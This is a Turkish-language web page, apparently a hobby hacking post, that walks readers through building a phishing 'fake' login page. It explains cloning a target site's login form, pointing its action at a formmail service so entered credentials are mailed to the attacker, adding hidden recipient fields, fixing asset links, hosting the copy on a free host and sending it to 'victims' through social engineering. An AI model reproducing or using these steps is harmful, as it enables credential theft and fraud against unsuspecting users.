| Jr.Pit10@hotmail.com |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Arkadaşlar, fake artık çok fazla yenmiyor ancak, biraz sosyal mühendislik katarak, hedefin dalgınlığından ve merakından faydalanabiliriz:
1. Öncelikle Fake nası çalışır? basitçe:
Sitelerin üye girişinde üye bilgilerini gönderdiği adresi kendi formmail adresimizle değiştirerek girilen bilgilerin mail adresimize gelmesini sağlıyoruz.
2. Kendimize bir Formmail alalım:
http://www.formmail.com/register/ sitesinden bilgilerimizi girerek üye oluyoruz. (Verdiğiniz mail adresi daha sonra fake sonuçlarının geleceği mail oluyor.)
3. Üyelik işlemini tamamladıktan sonra siteye giriş yapıp, kontrol paneline giriyoruz. Resimdeki gibi "My Basic Form" un yanından "How to" ya giriyoruz.
sayfada bize
<form method="POST" action="BURASI HER ÜYEYE GÖRE DEĞİŞİYOR">
bi alt bölümünde de
<input type="hidden" name=....>
<input type="hidden" name=....>
kodları veriliyor. bu kodları siteden kopyalayın ve bi not defterine yapıştırın, işe yarıycak 
4. Şimdi fakini yapacağımız siteyi açıyoruz ve sayfa kodlamasını görünteleyip boş bir not defterine yapıştırıyoruz. kodun içinde "<form" arıyoruz, sonrasında gelen action="siteadresi" kodunda site adresi yerine daha önceden aldığımız "BURASI HER ÜYEYE GÖRE DEĞİŞİYOR" dediğim adresi koyuyoruz.
5. <head> tagını buluyoruz, ve sonuna
<input type="hidden" name="recipient" value="EMAİL ADRESİ">
<input type="hidden" .....>
<input type="hidden" .....>
<input type="hidden" name="site" value="SİTENİN ADINI YAZARSANIZ GELEN BİLGİLERİN NEREDEN OLDUĞUNU BİLİRSİNİZ">
<input type="hidden" value="YÖNLENECEK ADRES" name=********>
ekliyoruz. sonra da kodlamasını unicode seçip index.html olarak kaydediyoruz. (index olması şart değil)
6. şimdi dosyayı açıyoruz ve herhangi bir hata varmı bakıyoruz, eğer varsa düzeltiyoruz. (en yaygın hata şudur: grafik ve css dosyalarını bulamaz, bu nedenle onları açamaz. bunu da düzeltmek için tekrar not defteriyle açıp "klasor/resim.gif" "css/site.css" gibi kodların tümünü "http://siteadi.com/klasor/resim.gif" "http://siteadi.com/css/site.css" haline çeviriyoruz ve kaydediyoruz. umarım sorun çıkmaz)
7. Şimdi bu html dosyasını bir free hosta upload ediyoruz ve kurbanlara gönderiyoruz. site adı ve yutturma beceriniz sizin sosyal mühendisliğinize kalmış  |
|
|
|
|
|
| |
Bugün 15 ziyaretçi (18 klik) kişi burdaydı! |
|
|
|
|
|
|
|
